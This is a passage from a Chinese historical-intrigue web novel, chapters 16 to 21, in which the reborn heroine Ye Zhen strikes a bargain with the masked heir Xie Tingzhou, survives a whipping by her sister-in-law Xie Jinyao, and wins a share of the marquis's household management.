这东珠是县令那匣子里的,谢霆舟找到了她藏钱财的地方。
也相当于拿到了她杀人的证据。
第16章 天塌了
“叶桢会点易容术,若兄长需要,叶桢可效劳。”
那些钱财被她藏得极为隐秘,想找到并非易事。
谢霆舟今日来此,若只是为了问刺客的身份,便不必费那番心思。
他同样需要她保守他的身份秘密,故而寻了那些证物作为拿捏她的把柄。
这人前世未回京,眼下却出现在这里,叶桢推测是自己那日对刺客出手,让事情有了改变。
他不是真正的忠勇侯世子,自不能暴露身份,那么自己还算精湛的易容术便是他用得上的。
叶桢这话既是要挟,也是投诚。
他们互为把柄,她在京城势单力薄,忠勇侯世子这个身份,叶桢瞧着还挺好用。
至少侯夫人就忌惮。
而忠勇侯似乎也颇为看重他。
谢霆舟眸底幽深如寒,他步步靠近叶桢,盯着她的眼睛,“你当真是叶桢?”
叶正卿那个凡事躲在妹妹身后的软脚虾,竟能生出这样的女儿?
他很怀疑。
叶桢目光不闪不避,笑了,“如假包换。”
她不是叶正卿之女,却是叶桢。
这名字本就是母亲取的。
当年母亲和舅母孕期相当,大夫诊出两人皆是女胎,母亲便定下叶桢,叶晚棠两个名字。
准备待孩子出生后,根据孩子性情再做选择。
却在生产当日接到急诏,需得奔赴沙场御敌,只得将刚出生的女儿,交由早她两日生产的大嫂。
舅舅舅母嫌桢字过于刚硬,将晚棠这个名字给了他们真正的女儿。
对外则称,希望他们的孩子能如她的姑母那般出色,因而为其定下‘桢’字。
无人知晓孩子已被调包,而桢这个名字是他们挑剩下的。
但叶桢很喜欢。
因母亲见她时,曾摸着她的脑袋笑,“你我姑侄倒是有缘,原本我更中意桢这个字。
只你表姐性情温弱,与之不符,反倒是你刚韧坚毅,极好。”
谢霆舟从她神情看不出破绽。
只当是歹竹出了好笋,亦或者这小矮子随了她那个万夫莫敌的姑母。
他大摇大摆从门口出去。
挽星紧张得不行,亦步亦趋跟着,直到出了院子,见四下无人发现谢霆舟从小姐的院中出去,才急忙关了院门,返回房间。
“小姐,你怎么样?”
叶桢道,“帮我打些热水来。”
她后背濡湿一片。
与谢霆舟打交道,并非容易的事。
他比忠勇侯还难对付,幸好她没选择与之为敌。
挽星打热水的功夫,叶桢亲自收拾桌上残局,手指触及茶杯残片时,她呼吸微微顿了下。
刚刚谢霆舟突然转了态度,是怜悯吧。
一个有怜悯之心的人,当不至于太坏。
但叶桢不敢掉以轻心。
同时思虑谢霆舟为何要查刺客的信息。
知己知彼,才能更好的合作。
换好衣裳,她带着挽星去了庄子的灶房。
她们明日便要跟着回京,王老夫人的恩情不能不谢。
临时来庄上,她没带能作为谢礼的东西,思来想去,决定给老人家做几道素斋。
拿起菜刀时,她忍不住叹了口气。
县令那些钱财,实在不少,如今落到谢霆舟手里,可惜了。
她手头并不富裕,自小长在庄上,叶家没给她送过什么值钱的,后来嫁入侯府,嫁妆更是表面好看,实则稀薄得很。
私下虽也赚了些,但她用处也多。
等报了仇远遁离开,她更需要钱财傍身。
“回去后,你联系饮月,让她回京。”
饮月是她的另一个婢女,比她和挽星大几岁,能干沉稳,身手也比挽星好上许多。
初入侯府时,侯夫人看出饮月不好惹,故意挑她错处,想要处置了她。
叶桢便顺势让饮月出了府,替她在外面打理一些事情。
眼下,她需要帮手,也想饮月了。
另一边,侯夫人听说忠勇侯不认谢云舟,且将他随便埋了,眼前阵阵发黑。
她叫嚷着,“我要见侯爷。”
守在门外的是忠勇侯的亲卫,没忠勇侯的命令,无人敢放她出去。
侯夫人顿觉大事不妙。
等看到午膳只有一碗白粥和一碟子小菜时,她心头又气又惧。
她意识到这是忠勇侯对自己的惩罚。
他知道了她的谎言。
侯夫人瞬间想到了叶桢。
“竟是我看走了眼,小瞧了她,反被她害得落到如此地步。”
叶桢竟有本事让侯爷信她的话。
这实在不妙。
她忙让人准备笔墨,给自己的女儿,忠勇侯府的大小姐谢瑾瑶写了一封信。
信中明面是告知女儿,自己身子不济,需得在庄上修养,让她务必安抚好年幼的弟弟。
暗地却传递只有母女俩明白的意思:叶桢害她,让女儿去查叶桢另一婢女饮月的下落。
侯夫人被关押后,将整件事细细想了一遍。
叶桢这些年或许藏拙了,但她再厉害,也不可能做成那么多事,身边定还有别的帮手。
然后她想起了那个叫饮月的婢女。
饮月曾打过她身边的婆子,似乎身手还不错,如此就解释得通,叶桢为何能逃过她的布局,反败为胜。
她让人将餐食退回,一口未动,想要博取忠勇侯的怜惜。
那信到了忠勇侯手中,他粗略看了眼,便收进了怀里,打算等回京后转给女儿。
却没有去看侯夫人的意思。
侯夫人没等到忠勇侯,反而听说庄上要大办烧烤宴,感觉天都塌了。
侯爷这般大肆喝酒吃肉,便是要告知众人,死的并非他儿子。
否则哪个父亲会在儿子出事后,还吃香喝辣。
他彻底否定了谢云舟。
可见侯爷此番气得不轻,他气云舟,自然也气她这个妻子。
侯夫人心头焦灼,恐慌。
这回是真正的没了胃口,她再次将晚膳退了回去,只着单衣跪在了院中。
她得想法子挽回侯爷的心。
而后将今日之仇百倍千倍地找叶桢讨回来。
可沙场铁将的心一旦硬起来,就没那么容易软回去。
忠勇侯听了护卫禀报后,也只淡淡道,“病了,回头请医便是。”
他眼也未抬,夹起盘中的一块素肉,又喝了口汤。
食材普通,味道却很是不错。
这些都是叶桢为答谢王老夫人借医所做,也给他送了一份。
忠勇侯便觉得叶桢是个知恩图报的。
相比之下,自己那个还不知反思,依旧在抖机灵的妻子,实在可恶。
侯夫人还不知自己这番作为,更是惹怒忠勇侯。
三月春寒料峭,庄上的夜温度很低,侯夫人冻得身子发颤,但她心里却热了起来。
她想到了一个能镇住忠勇侯,且还会帮她对付叶桢的人。
她有救了。
第17章 可有心仪之人
叶桢不知侯夫人心思。
她带着挽星到了王家庄子。
接待她的是老夫人身边的崔嬷嬷,崔嬷嬷那日奉命去侯府庄上阻止侯夫人犯糊涂,却被侯夫人推了一把。
危急时刻,叶桢不顾自己被抓,回身及时扶住她,崔嬷嬷对此很感激。
否则她这把老骨头摔下去,搞不好就得碎了。
得知叶桢做了素食来答谢,且还有她和医女的份,对叶桢态度很是和善。
“少夫人有心了,不过我家老夫人眼下正在做晚课……”
王老夫人信佛,坚持做早晚课。
叶桢忙表示只是想表达谢意,送完菜就回去。
且真就将东西送到就回去了。
崔嬷嬷越发地看她顺眼,不卖好,不讨巧,是个实在的。
故而等王老夫人礼完佛,她忍不住在王老夫人面前夸赞叶桢。
王家底蕴颇深,王老夫人在京城也是诸多晚辈想要讨好的对象。
但她极少吃外人送的东西,寻常人也送不到她跟前,崔嬷嬷就给挡回去了。
她这个老婢女可不是对谁都那么和善的。
可见那叶桢真是入了她的眼了,这倒叫王老夫人起了兴趣。
等看到桌上摆着的几道菜时,她有些理解崔嬷嬷了。
文思豆腐羹,素蟹粉,蓑衣素鲍,食材都普通,但哪一道都是需要极耐心和费精力的菜色。
听说身上伤不轻,昨晚还高热来着,着实是有诚意了。
她又分别尝了尝,眼眸微亮,同崔嬷嬷道,“不错,你也尝尝。”
崔嬷嬷捂嘴笑,“不瞒你,她给老奴和医女也送了,老奴已背着您尝过了。”
她跟在王老夫人身边几十年,情义早已超出寻常主仆,加之王老夫人的纵容,因而她说话行事就随便几分。
“这京城许多小姐,明明费了三分力,也会夸成十分,受了丁点苦,恨不得说得天大,捧高踩低更是常态。
像少夫人这样的还真不多见,老奴可不是随便夸的。”
崔嬷嬷为自己的眼光得意,“老奴不过是个下人,那日她大可不救老奴。
还有今日她就算不送这菜,您也不会怪她什么,她送了,您同样不会与她有何牵扯。
她未必想不到这些,还是送了来,可见她是真心感恩。”
并非攀附。
“听说这些菜式是她在南边跟着庙里的师傅学的,老奴略通厨艺,知道学会这些菜得费多少功夫。
可见她没少往庙里去,也是个有佛心的。”
旋即她叹了口气,“就是可惜了……”
“可惜什么?”
谢霆舟自外头走进,笑着接了崔嬷嬷的话。
王老夫人见他来,笑眯了眼,忙招手让他坐在身边,“她是可惜你那弟媳,瞧着是个不错的姑娘。”
可惜就要这样蹉跎一生了。
谢霆舟不置可否,视线看向桌上的菜色。
王老夫人问,“陪我吃点?”
“好。”
说话的功夫,崔嬷嬷已经添了碗筷。
谢霆舟分开尝了尝,尤其是那道素蟹粉,他尝了三次,“这是叶桢亲手做的?”
他同在庄上,自然听说了叶桢下厨,但依旧如此发问。
王老夫人笑,“应当是的。”
一个不被看重的少夫人,想来不敢在侯府的庄上耍心眼。
“你若喜欢吃,我让桃枝去讨教一二,学会了届时做给你吃。”
谢霆舟摇头,“姨祖母不必如此麻烦,霆舟只是好奇罢了。”
旋即他转了话题,得知他明日便跟着回京,王老夫人很是不舍,拉着他叙了不少话。
最后问道,“可有心仪之人?”
谢霆舟笑,“我大多在军中,边境又少见女子,若我说有看上的,姨祖母怕是要担心了。”
“还是这般没正形。”
王老夫人轻轻打他的手,满目慈爱,“姨祖母年纪大了,这辈子也没什么遗憾。
唯一盼着的便是能看着你娶妻生子,如此,将来我也好同我那长姐交代。”
爹娘去得早,长姐招婿撑起门楣养大她和弟弟,却也因此累垮了身体,早早去了。
她将年幼的外甥女接到京城养大,为她结了忠勇侯府的亲事。
却没想到,因着老爷外调,她跟着上任,离京才一年,她当女儿养大的外甥女就难产丢了命。
留下一个嗷嗷待哺的孩子,七灾八难地长大,十来岁又毁了容貌,她总觉得里头有阴谋。
却又查不出什么。
最后只得逼着忠勇侯,要么让谢霆舟养在王家,要么他亲自带在身边。
忠勇侯选择后者,这些年倒是平安了,可如今二十三的年纪,亲事还没着落。
她私下也寻摸过,但他容貌有损,又是继母当家,家世不错的都会犹豫。
家世差的进了侯府,不能成为霆哥儿助力是其次,她担心会被那柳氏磋磨的没命活,岂不白白害了姑娘性命。
这番大捷,霆哥儿直接焚杀五万敌国俘虏,由此落了个残暴嗜杀的名声。
她虽是妇人,却也知道大渊如今的国力根本养不起那五万俘虏。
放归俘虏等于再给敌国养精蓄锐攻打大渊的机会。
她的孩子做的是利国利民的好事,但世人愚昧啊。
霆哥儿的亲事更是艰难了,眼下又出了谢云舟那事,王老夫人真是心疼极了谢霆舟。
谢庭舟安抚她,“姨祖母放心,孙儿这般好,自然会有那么一日的。”
王老夫人顺势问道,“那你喜欢什么样的姑娘?姨祖母帮你留意留意。”
谢霆舟似想了想,轻笑,“那需得是天下一等一好的女子。”
王老夫人听着这敷衍的话,也知强求不得,只得顺着他的话,又聊了一会,便放了他回去休息,以便明早赶路。
谢霆舟回庄子后让刑泽去了灶房打听,确定那素蟹粉的确是叶桢所做。
他眼眸深敛,似在沉思什么。
叶桢这边送完菜回来,就收到了忠勇侯命人送来的烤肉。
她身上还有伤,吃了个七分饱,便早早洗漱睡下了。
一夜安稳。
翌日,主仆俩吃完早饭,就上了回京的马车。
谢霆舟亦翻身上马,跟着一起回了京。
谢瑾瑶得了信,早早带着弟弟和仆从等在侯府大门外。
见到队伍出现,谢瑾瑶忙牵着幼弟快步走到忠勇侯面前,行礼,“女儿见过父亲。”
忠勇侯许久未归,见到孩子们很是欣慰,忙叫了两人起身。
幼子谢澜舟看了看他身后的马车,“母亲怎么还不下马车,澜舟想母亲了。”
忠勇侯弯腰将人抱起,“你母亲身子不适,在庄上养些时日再回。”
说话间,他从怀里掏出侯夫人的信递给谢瑾瑶,“这是你们母亲给你们的信,回头念给你弟弟听。”
谢澜舟闻言,哇的一声哭出来。
恰此时,叶桢从马车里出来,谢澜舟指着叶桢骂道,“定是这个坏女人气病了母亲,我要打死她。”
第18章 意图鞭打叶桢
忠勇侯眉心顿时拢起,“胡闹,那是你二嫂。”
谢澜舟年幼,与忠勇侯相处不多,被他一呵斥,很是害怕,哭得更厉害了。
但他是侯府的小祖宗,惯来被宠着,便觉得自己事事是对的,依旧坚持自己的想法。
“母亲不喜欢她,她出现母亲就生气……”
这是他平日所见,因而他认为是叶桢气病了侯夫人。
“澜弟。”
谢瑾瑶忙出声打断,“你听话,母亲过两日便回来了。
若你胡闹,母亲得知会不高兴的,母亲不高兴,就会在庄上多住些日子。”
回来的是叶桢,而不是侯夫人,她便知道定是出事了。
但不清楚具体情况,担心幼弟嘴上没把门,忙出言阻止。
谢澜舟十分依恋侯夫人,闻言果然被转移注意力,趴在忠勇侯肩上委屈啜泣,不敢再言。
忠勇侯正经历丧子之痛,幼子这般,他的心都化了,便也没再追究他刚刚的言出无状。
不过心里却想起谢霆舟的话,觉得幼子可能真被妻子惯坏了,决定往后亲自教导。
谢霆舟自进京后,就缀在队伍后面,似欣赏京城变化,此时才夹了夹马腹,踢踢踏踏到了几人跟前。
“大哥?”
谢瑾瑶看到那张熟悉的面具,很是诧异,她和侯夫人一样,不曾收到谢霆舟回京的消息。
不过她反应快,忙同他见礼。
谢霆舟并未下马,居高临下地看了她一眼,淡淡嗯了声,便骑着马踏上了台阶。
在跨进大门时,他转头讥讽地看着忠勇侯,“见过陛下再来父慈子孝也不迟。”
谢瑾瑶便有了真实感,她那个讨人厌的大哥当真回来了。
还是和少时一样没气度,见到父亲疼宠他们兄妹,就要出来捣乱。
先是幼子的哭声,后又有谢霆舟的嘲讽,忠勇侯也没了久别重逢的感触。
皇帝念他一路奔波辛苦,允他先回府休息再入宫面圣,这是皇帝给的恩典。
他却不能真休息,将幼子交由下人,入府开始洗漱更衣,以便稍后进宫面圣。
谢霆舟亦回了自己的院子,只他刚准备解腰带,便听得刑泽道,“主子,少夫人让人送来一张纸条。”
纸条上字迹狷狂有力,倒不似女子的字,更与她的外表不符。
看完内容,谢霆舟将纸条递给刑泽,“扶光跟我进宫,你留下。”
父子俩出门后,谢瑾瑶也从下人口中得知了庄上的一切。
又看了侯夫人的信,气得重重一掌拍在桌子,“好一个乡野村姑,竟敢害得母亲被禁足庄子。”
她一直瞧不上叶桢,觉得侯府有这样一个出身低微的少夫人,简直辱没门楣。
但母亲有母亲的打算,她没干涉却也从未将叶桢看在眼里。
安排人去查饮月的踪迹后,她便带着鞭子冲去了叶桢的院子。
叶桢回来后,换了药便对镜扑了层粉,让她原本苍白的脸更无血色。
她又换了身衣裳。
那衣裳宽大,且颜色老旧,穿上身显得整个人清瘦又落魄。
挽星不知小姐何意,正欲询问,院门便被人踢开了。
谢瑾瑶怒气冲冲,“原来澜弟没说错,母亲留在庄上果然与你有关。”
说话的功夫,长鞭就往叶桢身上抽。
母亲怀疑叶桢藏拙,她亦觉得这次庄上的事情诡异。
若叶桢当真有身手,总不会等着挨打,因而,她手下没有丝毫留情。
叶桢似艰难避开,“大小姐莫要欺人太甚,婆母被罚,是她自己做错了事。
罚她的是侯爷,你若觉得不服,找侯爷便是,为难我是何道理。”
“本小姐打的就是你。”
谢瑾瑶又是一鞭子下去,这一次是挽星拉开了叶桢。
且她拉着叶桢往门外逃。
看着主仆俩狼狈而逃的背影,谢瑾瑶又有些不确定了。
但她自小信奉侯夫人,认为侯夫人疑心自有疑心的道理,便紧追叶桢身后。
她自小习鞭,连父亲都夸赞她鞭子使得不错,叶桢若挨上一鞭,必定皮开肉绽。
她就不信到那个时候叶桢还能藏得住。
若是母亲和她多想了,那她也能趁机收拾叶桢一顿。
母亲对叶桢的谋划没瞒她,结果却失败了,反而是叶桢好端端回来,她怒火中烧。
若是叶桢乖乖被算计,说不得二哥就不会死,更不会有那些流言。
她这两日就是没出门,都能想象外人对侯府的嘲笑。
身为忠勇侯府嫡女,她素来是众人巴结讨好大的对象,何曾成为别人口中的笑料。
又正是议亲的年纪,这些流言会害了她。
都是叶桢的错。
她一个乡野丫头,享了三年侯府荣光,为了侯府牺牲也是她的本分。
可她偏偏不安分,那她就打的她安分为止。
凌空一鞭,又是十成十的力道,这次鞭子被人握住了。
谢瑾瑶冷笑,叶桢果然藏不住了。
可抬眸看去,鞭子的另一端是一个陌生的男子,做护卫打扮。
她刚刚似乎见这人跟在谢霆舟身后,应是谢霆舟的护卫。
“放开,狗奴才,竟敢乱闯后院!”
她怒呵。
刑泽笑,“王老夫人托世子给二少夫人带了点药,属下奉命送过来,刚到院门就挨了一鞭子,大小姐好威风。”
话毕,他直接将鞭子扯了过去。
谢瑾瑶没料到他这般大胆,一时不查,险些踉跄摔地。
往日她在府里走到哪里,下人都恭恭敬敬的,还是第一次有人敢对她如此不敬。
“来人,将这以下犯上的狗奴才拿下。”
原本她只是带了两个心腹进来试探叶桢,眼下更恨刑泽,就想着让护卫先将这个搅事的给惩治了。
刑泽可不怕她。
“大小姐打属下在先,怎的反倒是属下的错了?”
他看向叶桢,“二少夫人,你可得给属下作证啊。”
叶桢早料到谢瑾瑶会对自己动手。
冷静下来的侯夫人定然会疑心她,但侯夫人被困庄子,因而只能让自己的女儿来试探。
而谢瑾瑶此人心高气傲,仗着忠勇侯的权势,平日标榜爱行侠仗义,最喜用鞭子抽人。
她暂不能暴露身手,更不愿白白挨打,便又同谢霆舟做了一次交易。
这才有刑泽的及时出现。
叶桢状似苦笑,“若我有命在,定给你作证。”
刑泽被提醒,悟了。
“也是,大小姐连你这个嫂子都打,可见没将你放在眼里。
待在这里怕是等不到我家世子回来,你就被打死了。
那我没了证人,有嘴也说不清。”
他挡在叶桢身前,“那属下只能先护你到府门外,等着我家世子回府了。”
听说他还要闹到府门口,谢瑾瑶差点气死了。
谢霆舟的护卫和他一样讨厌。
她忙下令,“拦住他们。”
在府内她自有法子和父亲交代,闹到外面去,侯府怕是又要成笑话。
殴打嫂子,她的名声就彻底毁了。
第19章 探子是谁
可刑泽此番过来,既是护着叶桢,也是来给他家主子立威的。
谢霆舟可不只是依附父亲的忠勇侯世子,还是靠军功被朝廷封赏的靖远将军。
自然也有他的追随者。
侯府的护卫刚冲过来,谢霆舟的人也到了。
“你们好大的胆子,这是要造反不成。”
事情超出谢瑾瑶掌控,她有些撑不住了。
同时觉得谢霆舟比以前更嚣张跋扈。
“竟敢在府上造次,小心父亲回来罚你们全部挨军棍,还不快退下。”
她色厉荏苒,企图用侯爷威望镇压。
刑泽笑而不语,主子身边的人,除了哥哥扶光是侯府下人,他们可都只属于主子。
谢瑾瑶见这些人无视她,又气,又没了主意,威风顿消大半。
叶桢也没想真闹到府外去。
侯夫人被留在庄子上,侯府就没了当家主母,忠勇侯也没妾室。
谢景瑶作为侯府的大小姐,忠勇侯自然会将她列为第一掌家人选。
但若忠勇侯察觉女儿能力有限,叶桢就有机会。
若真闹到府外,让侯府再次丢脸,叶桢也落不着好,反而会被忠勇侯记恨。
故而,她暗示刑泽与谢瑾瑶假意僵持,只等忠勇侯回府便可。
忠勇侯还不知府上正等着他主持大局,他和谢霆舟得了皇帝一番嘉赏。
刚出御书房便暗暗松了口气,问谢霆舟。
“你当真要留在京城?”
谢霆舟似笑非笑地看他,“怕我同你的小宝贝疙瘩抢爵位?
还是你只顾着宠溺继室的孩子,容不下自己的长子?”
“别胡扯。”
忠勇侯脸都黑了。
他把自己的手塞进谢霆舟的掌心。
两手相握,一片汗湿。
“留下可以,但你答应我不许惹事。
我年纪大了,遭不住啊,好不容易打完仗,我还想享几年清福,行不行?”
谢霆舟松开手,脸上嫌弃,“别在外面演父子情深,腻歪。”
他将从忠勇侯手心沾染的汗水,擦在忠勇侯的胳膊上,似是随口问道,“先前给我们提供情报的探子是谁?”
大渊的确有探子潜入了敌国。
这些年给大渊提供不少有用情报,得益于这些情报,这次他们才能重创国力比大渊雄厚的敌国。
但他不信谢云舟会是这个探子,便想探探忠勇侯的口风。
因探子曾与忠勇侯联络过,刚刚皇帝又单独叫了忠勇侯叙话,或许两人会聊及此人。
忠勇侯却摇头,“只知对方是因叶将军才入的敌国,化名水无痕,其他一概不知。”
“男女都不知?”
“不知。”
忠勇侯警惕,“怎的突然关心这个?”
他实在担心谢霆舟乱来。
“好奇啊。”
谢霆舟懒懒道,“好奇是谁这般赤胆忠心地效忠我们的皇帝陛下。
眼下闲来无事,正好查查。”
忠勇侯忙阻止。
“别,到底是对大渊有巨大贡献之人,贸然查他总归不好。
听陛下的意思,水无痕过些时日便会来京,我知道的也就这些。
等人到了你自然就知晓了。”
谢霆舟沉默。
忠勇侯不放心,“你不做声我就当你答应了。
男人言而有信,记得啊,别惹事,低调!安分!让我多活几年……”
两人说话的功夫就到了宫门口,谢霆舟看着宫外焦急张望的人,微微勾唇,“似乎由不得我,也由不得你。”
忠勇侯眼皮一跳。
便见亲随疾步上前,“侯爷不好了,大小姐和世子的人还有二少夫人闹起来了……”
忠勇侯赶到的时候,侯府护卫被打倒一片。
谢瑾瑶正气急败坏地指使其余护卫拦下刑泽他们。
她头发有些凌乱,眉眼戾气横生,往日矜贵形象荡然无存。
忠勇侯脸色铁青,“都给本侯住手。”
他在来的路上,已经得知了事情的全过程。
他没想到自己的女儿会这样鲁莽无礼,直接提着鞭子闯去嫂子的院中打她。
谢瑾瑶见他回来,长长松了口气,忙走到他身边,垂下脑袋,“父亲,是女儿冲动了,女儿愿受罚。”
忠勇侯打算呵斥的话,生生咽了下去。
他希望自己能多几个儿子,继承香火,但他更喜欢女儿。
因他的母亲只生了他一个,父亲又无妾室,他年少时很羡慕别人有妹妹。
故而侯夫人为他生下谢瑾瑶后,他很是高兴,对这个女儿尤为偏爱。
如今见她主动认错,心里的气便消了许多,他朝护卫们怒吼,“还不滚下去操练。”
他一眼便看出,谢霆舟的人手下留情了,否则侯府护卫哪里拦得住他们。
那他侯府今日又要徒添笑料了。
而这一切都是他的女儿引起的。
因而他的脸又沉了下来,“你母亲便是这样教你不敬嫂子的?”
父教子,母教女,他觉得谢瑾瑶今日的糊涂都是侯夫人教导失责。
谢瑾瑶还想着帮侯夫人挽回忠勇侯的心呢,却不想,反而连累了侯夫人。
忙跪下,“与母亲无关,是女儿心里生了怨。”
她指着叶桢,“二嫂她就是个灾星,她刚出生就克的亲娘生病,克的祖父病逝,被送去南边庄子,叶夫人就好转了。
她嫁进我们家,二哥就出事了,因而我怨恨她,不愿承认她是我的嫂子。
这次庄上的事情母亲被留下,二哥他……他……”
她似伤心得说不出话来。
良久,才哽咽道,“纵他有千般错,他也是我嫡亲的兄长,最是疼爱我……
如果二嫂有本事能留住丈夫的心,或许二哥眼下能好好地站在父亲身边……
总之我难受得不知如何是好,心思想岔迁怒了二嫂,女儿没想会闹成这样,是女儿错了。”
她从忠勇侯责罚侯夫人一事中推测出,忠勇侯已经知晓了府上情况。
她平日对叶桢不好,假装与叶桢好,反而叫父亲生疑,不如直接承认不喜欢她,反倒在父亲心中落得个磊落的印象。
在忠勇侯心里,叶桢不过是见过几次的儿媳,而谢瑾瑶却是他放在心尖上的女儿。
他选择了护短,“你二哥和你母亲的事,与你二嫂无关,往后不许再这样对她不敬,你同她道歉。”
心里却也不由去想,若是叶桢嫁过来时,能收住云舟的心,云舟三年前就不会假死,就不会有庄上那件事。
或许这个时候他都抱上孙子了。
叶桢重生后,分析过许多人的性情,包括忠勇侯。
她平静上前,“叶桢自知身份低微,配不上侯府,如今更是惹得大小姐和小公子不喜,叶桢恳请侯爷允叶桢和离出府。”
第20章 拿到管家权
在大渊,男子有错的情况下才会和离,否则都是休妻。
外面正对谢云舟的事议论纷纷,忠勇侯此时若允叶桢和离,岂不是承认自己的儿子对不起叶桢?
可他虽偏心自己的孩子,也无法昧着良心替儿子休妻。
叶桢并无大错。
和离的女子被世道不容,即便回归娘家,日子也好不到哪里去。
他刚虽对叶桢起了怨念,但心里清楚叶桢是无辜的。
是妻儿对不起叶桢。
且他也委屈过叶桢,甚至刚依旧打算委屈她将此事揭过去。
“这些年你受委屈了,今日之事是你妹妹的错,父亲会责罚她。
如今你母亲在庄上养病,瑾瑶还不够沉稳,家里还需要你来打点。”
谢瑾瑶猛然抬头。
父亲竟让叶桢管家?
这怎么可以?
便听得叶桢道,“叶桢不愿因自己的存在,让侯府上下不愉。
且叶桢长在庄上无人教导,入侯府三年孀居后院,不曾学过理家之事,恐不能胜任,还请侯爷允叶桢离府。”
她跪在忠勇侯面前,瘦瘦弱弱一小只,脸色苍白,头无发饰,只一根银簪挽起。
和旁边血色红润,衣着华贵的谢瑾瑶一对比,简直就是颗可怜的,任人欺凌的小白菜。
若是从前,忠勇侯或许会疑心叶桢故意以和离做要挟。
可在庄上偷听了叶桢主仆的对话,他相信叶桢是真的想离开。
因她在侯府过得不如意,今日他在,幼子敢当众骂她,女儿更是打她。
若非霆舟的人出现,他或许会如从前一样被瞒下,对叶桢的遭遇毫不知情。
忠勇侯生出一丝愧疚。
叶桢比瑾瑶大不了多少,可他一个做公爹的竟也跟着欺负年轻孩子。
他缓了语气,“那些事非你之错,不会掌家本侯让人教你。
好了,此事就这么定了,明日宫里会派医女过来为你诊治。
你早些回去休息,待身体好些了,我会让人将钥匙对牌送去你院中。
你是侯府少夫人,代表的是侯府颜面,若以后再有人对你不敬,你可直接告于父亲,父亲替你做主。”
有了管家权,叶桢不会再受欺负,余生也算有了保障。
而瑾瑶迟早会嫁出去,这个家也的确需要人管。
忠勇侯越想越觉得自己这个抉择很明智。
“二嫂,对不起,我不该不辨是非迁怒于你。”
谢瑾瑶握住叶桢的手。
“往后我再也不会那样对你了,你就留下吧。
我平日跟在母亲身边,也学了点理家,若二嫂担心做不好,我可以协助你,还请二嫂能原谅我。”
她绝不能让掌家权落在叶桢手里。
但若她反对,父亲必定生怒,反而让父亲越发坚定此事。
因而她选择迂回,和叶桢共同掌家。
叶桢一个土包子,哪里懂得如何打理侯府事务。
届时,她暗地动点手脚让叶桢犯下大错,父亲便会收回叶桢的权利。
忠勇侯不知女儿恶毒心思,反而欣慰她能及时悔改。
“如此也好。”
忠勇侯替叶桢应下了。
他希望他们姑嫂能化干戈为玉帛,从此和睦共处。
且他的女儿去了婆家,也是要打理自己的家事,在娘家有了经验,总归是好事。
叶桢深知谢瑾瑶的心思,但她并不惧。
目的达到,她顺势下了台阶,虽说只拿到一半掌家权,但也足以方便她行事了。
事情说妥,她在挽星的搀扶下回自己的院子,经过谢霆舟身边时,朝他微微颔首,以示感谢。
谢霆舟没给她反应,眼底却划过一抹赞赏。
叶桢精准拿捏了谢瑾瑶和忠勇侯的性情,兵不血刃达成了自己的目的。
心里又生出一丝狐疑,她既有这本事,怎的先前还做了三年脓包?
扶光似想到什么,垂下了头,拳头紧紧握住,以至于泛白了指节。
谢瑾瑶垂落的眸中则是一片怨毒。
她也没了留下的心思,和忠勇侯福了福便要回自己的院子,主动提出抄经以作惩罚。
但谁来抄,则是她说的算,忠勇侯最不屑后宅之事,不会留意这个细节。
谢霆舟余光看了眼扶光,讥笑,“打了我的人,不需要点表示么?”
“我没打他。”
谢瑾瑶忍着怒气。
是他多管闲事,否则今日怎会被叶桢拿到管家权。
母亲说得对,谢霆舟也是个克星,专门克他们母子的。
谢霆舟问刑泽,“打了吗?”
刑泽举手朝天,“属下发誓,打了,否则让属下一辈子娶不到媳妇。”
反正鞭子挨着他的手就算是打了。
谢霆舟便看向谢瑾瑶,“你听到了,他说打了,那就是打了,你总得给我一个说法。”
谢瑾瑶看了眼自己父亲,发现他没有任何帮忙的意思,便知僵持下去于自己没好处。
“大哥想要什么说法?”
“医药费,受惊费,误工费总是要给点的。”
谢霆舟闲闲笑着,像个无赖。
“一百两够了吗?”
谢瑾瑶只想打发了人,早些离开。
“刑泽并非寻常侯府家奴,而是有官职的副将,本世子瞧你锦衣玉食的,是拿不出银子。
还是在你眼里,大渊朝的校尉只值一百两?”
最终,谢瑾瑶命人拿来三千两银票,谢霆舟才放她离开。
他扬了扬手中银票,对忠勇侯笑道,“大小姐还挺富庶。”
随随便便就拿拿出三千两。
忠勇侯瞪他,“本侯出生入死的,不就是为了家人过得好。
他是本侯唯一的女儿,富养些也没错。
瑾瑶到底是女子,你往后莫要为难她。”
谢霆舟将银票递给扶光,同扶光感叹,“当年你家主子看重一百两的兵器都买不起,还得四处借钱,被同窗嘲笑。
当真是同爹不同命呐。”
忠勇侯一噎。
长子曾同多次同他抱怨过妻子柳氏苛待,但长子自小顽劣,相较之下,柳氏算是个合格的继母,因而他并不太信长子的话。
在庄上得知柳氏真面目后,他便知道长子所言为真。
可惜……
他眼中隐痛再次浮现。
是他愧欠长子。
他嗫嚅着想说点什么,却什么都没说出来。
谢霆舟补刀,拍了拍他的肩,“走了,老爹。”
忠勇侯要维持长者尊严,岂能让他爬上头,当即反击,“你为何帮叶桢?”
若真是送药,路上为何不送。
谢霆舟将脸凑近他,“你瞧本世子长得有几分像菩萨?
多年未归,本世子担心侯府众人忘了本世子的脾性,借机立个威罢了,省得他们有事没事给我寻麻烦。”
忠勇侯望进他的眼,一双深邃暗眸肃杀凉薄。
这人的确没什么慈悲心肠,看来是他多想了。
至于别的,他自己就否了。
这家伙心高气傲,叶桢那样的身份他瞧不上。
嘴上却不忘叮嘱,“你别与她走太近,大伯哥和弟媳传出去不好听。”
谢霆舟看傻子似的看了他一眼,走了。
他又不是色中饿鬼,连谢云舟的妻都惦记……
第21章 给兄长量身
谢瑾瑶快气死了。
回到房中她便派了心腹去庄子上看望侯夫人,主要是将府里发生的事告知她。
她需要母亲的主意。
忠勇侯得知此事后,并未阻止。
他刚得到消息,柳氏跪了一夜,病了。
让瑾瑶知晓她的现状也好,引以为戒,好警醒自身。
莫要重蹈她母亲覆辙。
且女儿孝顺长辈,也是他愿意看见的。
“你觉得叶桢会武吗?”
气了一通后,谢瑾瑶想起自己找叶桢的目的,问心腹婢女。
婢女答,“奴婢瞧着不像是有。”
她当时跟在小姐身边,一直留意叶桢。
“都怪那狗奴才。”
想起刑泽,谢瑾瑶的怒火又上来了。
这次试探不成功,往后想找机会就没那么容易了。
父亲已经开始偏袒叶桢,她不能再惹父亲生气,否则,叶桢会更得势。
那母亲想回来就更难了。
婢女献计,“小姐,何不让叶家对付她?”
谢瑾瑶眼眸一亮。
她知道母亲这次针对叶桢的布局,有叶家的参与。
虽然她不知叶家为什么要针对仅剩的女儿。
